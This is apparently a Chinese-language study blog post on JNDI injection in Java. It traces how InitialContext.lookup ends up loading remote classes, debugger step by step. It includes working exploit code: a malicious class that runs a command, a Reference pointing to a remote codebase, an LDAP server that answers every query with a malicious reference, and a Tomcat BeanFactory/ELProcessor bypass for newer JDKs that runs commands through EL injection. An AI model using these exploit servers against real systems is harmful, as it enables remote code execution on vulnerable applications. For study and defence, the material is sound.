JNDI篇
“从文档开始的 jndi 注入之路”
因为 jndi 的内容比较多,我们可以直接从官方文档去看。
官方文档地址:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
参考的博客:https://drun1baby.top/
0x01 什么是JNDI
根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。
在我们前面学习过的RMI的注册中心的注册表中,其实就是一个名字对应一个远程对象。JNDI也是这个道理。
jndi 在 jdk 里面支持以下四种服务:
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
前三种都是字符串对应对象,DNS 是 IP 对应域名。
JNDI架构
JNDI 架构由一个 API 和服务提供者接口(SPI)组成。Java 应用程序使用 JNDI API 来访问各种命名和目录服务。SPI 能够透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问它们的服务。参见下图:

JNDI的包结构
JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:
其中最重要的是 javax.naming 包,我便重点介绍这个包下的结构。其余的可以去官网查看。这个包里包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
- Context上下文:这是查找、绑定/解绑、重命名对象以及创建和销毁子上下文的核心接口。
- Lookup 查找:您提供
lookup()您要查找的对象的名称,它将返回绑定到该名称的对象。 - Bindings 绑定:一个绑定是一个包含绑定对象的名称、对象类名称和对象本身的元组。
- List 列表:它返回一个包含对象名称和对象类名称的名称枚举。
- References:JNDI 定义了
Reference类来表示引用。引用包含有关如何构建对象副本的信息。JNDI 将尝试将目录中查找的引用转换为它们所表示的 Java 对象,以便 JNDI 客户端感觉目录中存储的是 Java 对象。
Jndi 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益。
有关JNDI更多的介绍可以看这位师傅的文章,感觉讲的细的不能再细了
https://www.cnblogs.com/erosion2020/p/18561646
0x02 JNDI的利用方式,代码以及漏洞
1. JNDI结合RMI
新建一个项目,这一次就省事直接将服务端和客户端写在一起了。(jdk版本记得换回8u65)
- 首先RemoteObj 的接口以及接口的实现类和 RMI 里面都是一样的,这里就不贴了。
JNDIRMIServer.java
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}
JNDIRMIClient.java
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
一共有如下几个文件

然后可以先运行JNDIRMIServer后运行Client测试一下

成功调用。
可以看到,测试代码中服务端的rebind和客户端的lookup都是通过InitialContext来调用的。这个的中文翻译是初始上下文,其实可以理解为JNDI的一个容器。原本我们是通过注册中心的注册表绑定和查询,这里变成了对InitialContext的绑定和查询,分析到后面可以发现其实调用的还是RMI原生的方法。
RMI原生漏洞
这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法。
我们可以下个断点调试一下,断点下在lookup方法这里。

可以看一眼这个InitialContext到底是什么,发现里面封装了一个Hashtable,和一些别的参数。
- 点强制进入,跟进lookup

又调用了一个lookup,继续跟进。

这里 GenericURLContext 类的 lookup() 方法里面又套了一个 lookup() 方法,我们继续进去。

进去之后发现这个类是 RegistryContext,也就是 RMI 对应 lookup() 方法的类,至此,可以基本说明JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务。
所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。
引用的漏洞,常规JNDI注入
- 这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。
原理是在服务端调用了一个 Reference 对象,其与代理很像。
代码如下:
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
可以与原本对比一下:
- 原本
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
- 现在
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
原本我们是直接绑定了一个RemoteObjImpl对象。现在是先通过Reference生成一个引用,然后绑定这个引用。
这个思路有点像代理吧。我们可以看一眼Reference的构造函数。

其实根据这里参数的factory就可以看出来,这其实很像工厂模式。但是工厂模式是要自己调用工厂类创建,这里是会JNDI自动控制对象的创建。

即第二个参数factory就是指最后负责创建对象的类。第三个参数就是工厂类的地址。第一个参数就是被引用对象的类名。
利用方式也很简单,我们首先写一个恶意类:
public class Calc {
public Calc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
将其编译为字节码后放到指定路径下(后面将路径作为factoryLocation)。
然后在指定路径下用python起一个http服务就行了。
python -m http.server 7777
然后先运行服务端,然后运行客户端。

可以看到我们的服务端什么都没有改,并且也没有sayHello方法,但是触发了无参构造方法里的恶意代码弹出了计算器。
为什么会这样呢?我们在lookup处下个断点调试一下。
跟进几个 lookup() 方法,直到去到 RMI 的原生的 lookup(),对应的类我也在前文提及过了,是 RegistryContext。

但是注意到最后会调用一个decodeObject方法,并且此时的参数表中的var2是ReferenceWrapper_Stub。这是什么东西?我们好像并未看见它的创建流程。其实这是在绑定的时候产生的,我们先结束debug,然后断点下载rebind处重新调试。

- 跟进rebind

接着跟进

跟前面分析lookup一样,都是嵌套,接着跟进。

注意到这里调用了一个encodeObject方法,并将var2作为参数。记住此时的var2是Reference。
- 我们跟进到encodeObject里看看

由于var1是Reference类型,所以它创建并返回了一个ReferenceWrapper。(注意这里的var1实际上我们传入的参数是对应的var2)。然后便是执行RMI原生的rebind方法,绑定的名字没变,但是对象变成了ReferenceWrapper。可以理解为加密了一下。
这个时候我们回到前面的decodeObject,继续调试。

这时候decodeObject想必就是解密,将其还原为Reference。我们跟进看看

判断var1是否是RemoteReference,如果是则调用getReference方法。这个方法的效果就是将其还原成Reference。

往下是一个比较重要的方法 getOBjectInstance(),从名字上推测这应该是一个获取对象初始化的方法。
跟进此方法,前面都是一些不重要的直接F8跳过。

注意到这里调用了一个getObjectFactoryFromReference方法,从名字上看作用是从引用中获取factory。
跟进去看看。

这里就直接开始尝试通过loadClass加载类了,首先尝试直接通过Name加载。跟进

继续跟进

这里通过forName来加载类,第二个参数为true可以看到实际上此时的类加载器是AppClassLoader,也就是先从本地找。但是本地肯定是没有的因为我们根本没放,继续跟进。

前面没有找到的话,clas就为null,此时又会调用loadClass。只不过这一次是通过Name+codebase来找,我们也可以看到这里的codebase实际上就是我们指定的路径。这里本质上就与我之前讲的URLClassLoader加载类一样了。
- 跟进loadClass

发现确实是通过URLClassLoader,继续跟进。

这里通过forName实际上便能找到了,注意到此时forName的第二个参数为true。如果我们的恶意类中是在初始化代码块static{}中写入的弹计算器,此时就会弹出计算器了。但是我们是写在无参构造函数里的。
- 这里返回了Class对象,我们F8继续跟进。

这里便通过newInstance来创建实例,并触发恶意类里的无参构造方法里的代码弹出计算器。
再点一下F8就弹出计算器了。

后面的就没必要看了,我们已经利用成功了。
这就是JNDI一般的利用方式,JNDI注入。
- 这里还有一点需要注意

这里我们执行类加载逻辑是跑到了一个通用的类,NamingManager里面。也就是说类加载的逻辑是与容器的协议无关的,不只是RMI如此,其他的容器也是如此。
2. JDNI结合LDAP
LDAP的介绍
- ldap 是一种协议,并不是 Java 独有的。
LDAP 全称 Lightweight Directory Access Protocol(轻量级目录访问协议) 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 用 “目录树” 结构存储数据
- DN(Distinguished Name,唯一标识名):每个对象的 “绝对路径”,类似文件的完整路径(如
uid=zhangsan,ou=staff,dc=company,dc=com,代表 “company.com域下,staff 组织单元里的用户 zhangsan”)。 - DC(Domain Component,域组件):对应域名,比如
dc=company,dc=com就是 “company.com” 这个域。 - OU(Organizational Unit,组织单元):用于分组管理对象,类似文件夹(如
ou=staff是 “员工组”,ou=it是 “IT 部门组”)。
LDAP主要有两种方式获取:
- 直接通过LDAP软件创建
- 通过
unboundid-ldap-sdk依赖创建内存级的LDAP
针对这两种攻击方式也不太一样。
攻击软件创建的LDAP
- JNDILDAPServer.java
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("ldap;//localhost:10389/cn=test,dc=example,dc=com", reference);
}
}
- JNDILDAPClient.java
import javax.naming.InitialContext;
public class JNDILdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
System.out.println(remoteObj.sayHello("hello"));
}
}
其实跟进流程以后可以发现与在RMI里的是一样的,只不过这里使用的是ldap的路径。
当然这种攻击方式有很大的缺陷:仅适用于目标查询路径固定可预测的情况
通过拦截器动态响应攻击内存级LDAP
这种方式需要通过unboundid-ldap-sdk依赖创建内存级的LDAP。
攻击方式也发生了很大的变化:
通过自定义的拦截器,拦截所有 LDAP 查询请求,无论目标查询哪个路径,都返回恶意Reference。
这就解决了前面那种方式的缺陷,也是很多主流的JNDI注入攻击工具的逐流实现方式。
- 在pom.xml中添加依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
- LdapServer.java
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
这代码就是一个工具里用的源码,太长了我就不解释了,实现的功能就是我前面所说的。
- LdapClient.java
import javax.naming.InitialContext;
public class LdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1234/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
实现攻击的流程依旧是走Reference动态类加载。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
高版本JDK的绕过
8u121<=JDK版本<=8u191的绕过
做了什么修复措施?
我们将JDK版本切换到8u121,以JNDI结合RMI为例。
我们直接跟进到一个重要方法decodeObject。

前面的不做过多解释,我们的目的是要到达最后一个return,直接看到最后一个if判断:
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
可以发现,在老版本的jdk中是没有这个if判断的。然后在这个版本中,会在我们调用getObjectInstance之前进行if判断,只有if判断里面三个条件都不满足才能走到正常的逻辑中。
- 因此为了绕过这里限制,我们有三种方法:
1、令 var8为空,或者
2、令 var8.getFactoryClassLocation() 为空,或者
3、令 trustURLCodebase 为 true
对于第三种就是最简单的做法,当trustURLCodebase为真即可绕过。但是这个值默认为fasle。我们就需要考虑前两种方式绕过。
第一种,令 var8 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
第二种,令 var8.getFactoryClassLocation() 返回空,即让Reference对象的 classFactoryLocation 属性为空,这个属性是我们在创建Reference引用对象的时候传入的第三参数,代表Factory类的地址,这正是我们针对低版本的利用方法,由于我们传入了一个codebase,所以它不为空直接抛出异常了;但是如果我们能找到一个本地的classpath作为Factory,那么该值便可以设置为空,这是绕过高版本 JDK 限制的关键。
简而言之,如果我们在本地代码里找到这么一个factory工厂类满足条件,就能绕过最后的这个if判断,触发NamingManager.getObjectInstance()。
当然上面的分析其实在这一个版本范围内其实没必要用到,这个点在8u191之后的版本大有用处。
绕过手法
经过分析代码的改动可以发现,增加了trustURLCodebase选项,它默认为false。这样就禁止了使用远程codebase选项。但是可以发现它仅仅是针对RMI和CORBA协议的,也就是只出现在了RMI和CORBA对象的Context类里面。针对LDAP并没有做出改动,所以我们依然可以通过前面的LDAP的手法来攻击。
这里就不再赘述了。
JDK版本>=8u191的绕过
做了什么修复措施?
在8u191以后就针对LDAP的情况进行了修复。我这里版本换成了8u201,然后从LDAP的代码一路跟进。前面的都没必要看了,直到最后的类加载loadClass方法。

可以发现在最后的类加载环节也引入了trustURLCodebase。可以看一眼此时的trustCodebase值

发现为fasle。这样我们之前的LDAP的攻击手法便也无法成功进行了。
怎么绕过呢?这里我们在前面就做了小剧透。
即:既然codebase用不了,那么便在本地的classpath找一个Factory类,最终也能达到创建目标对象实例的效果。
绕过手法一、利用本地恶意 Class 作为 Reference Factory
简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。
该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory接口,实现该接口的 getObjectInstance() 方法。
这里我们找到的是这个org.apache.naming.factory.BeanFactory类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。由此JNDI-Exploit-Master工具第一个打rmi的选项便是对应此。
- 我们看一眼这个类的
getObjectInstance()方法的实现。
public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!
// 从Reference中获取forceString参数
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
// 对forceString参数进行分割
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) { // 使用逗号分割参数
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // 等号后面强制设置为setter方法名
param = param.substring(0, index).trim(); // 等号前面为属性名
} else {}
try {
// 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数即paramTypes是String类型!
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) { // 遍历Reference中的所有RefAddr
ra = e.nextElement();
String propName = ra.getType(); // 获取属性名
// 过滤一些特殊的属性名,例如前面的forceString
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent(); // 属性名对应的参数
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName); // 根据属性名获取对应的方法
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 执行方法,可用用forceString强制指定某个函数
} catch () {}
continue;
}
// 省略
}
}
根据源代码的逻辑,我们可用得到这样几个信息。使用此工厂类实例化对象的类必须满足下面几个条件。
· 该类必须有无参构造方法
· 并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数
· 通过上面的方法和一个String参数即可实现RCE
恰好有javax.el.ELProcessor满足该条件!!!
攻击实现
经过我们前面的分析,我们可以通过BeanFactory类来实例化一个ELProcessor,并通过在forceString传入精心构造的字符串,最终可以达到RCE的效果。
添加依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
然后就是具体的payload了,其实就是JNDI-Exploit的源码:
- JNDIBypassHighJava.java
package JDNI.Bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
这里的代码涉及EL表达式的内容,也就是EL表达式注入。其实我也还没学习到那里,但是整体逻辑就是按照getObjectInstance()里的利用逻辑构造的。
- JNDIBypassHighJavaClient.java
package JDNI.Bypass;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}
在客户端调用lookup,后面就会走到调用BeanFactory的getObjectInstance()方法,然后会实例化一个ELProcessor。通过传入构造好的参数,会将x作为属性名,将eval作为setter方法的名字。最终调用了eval方法,并利用EL表达式注入进行了命令执行。
效果如下:

成功弹出计算器。
后续还有很多种绕过手法,但是都会涉及一些别的知识。我还是先把后面的知识学一学然后再回来完善。
参考文章
我觉得这两位师傅写的都非常好。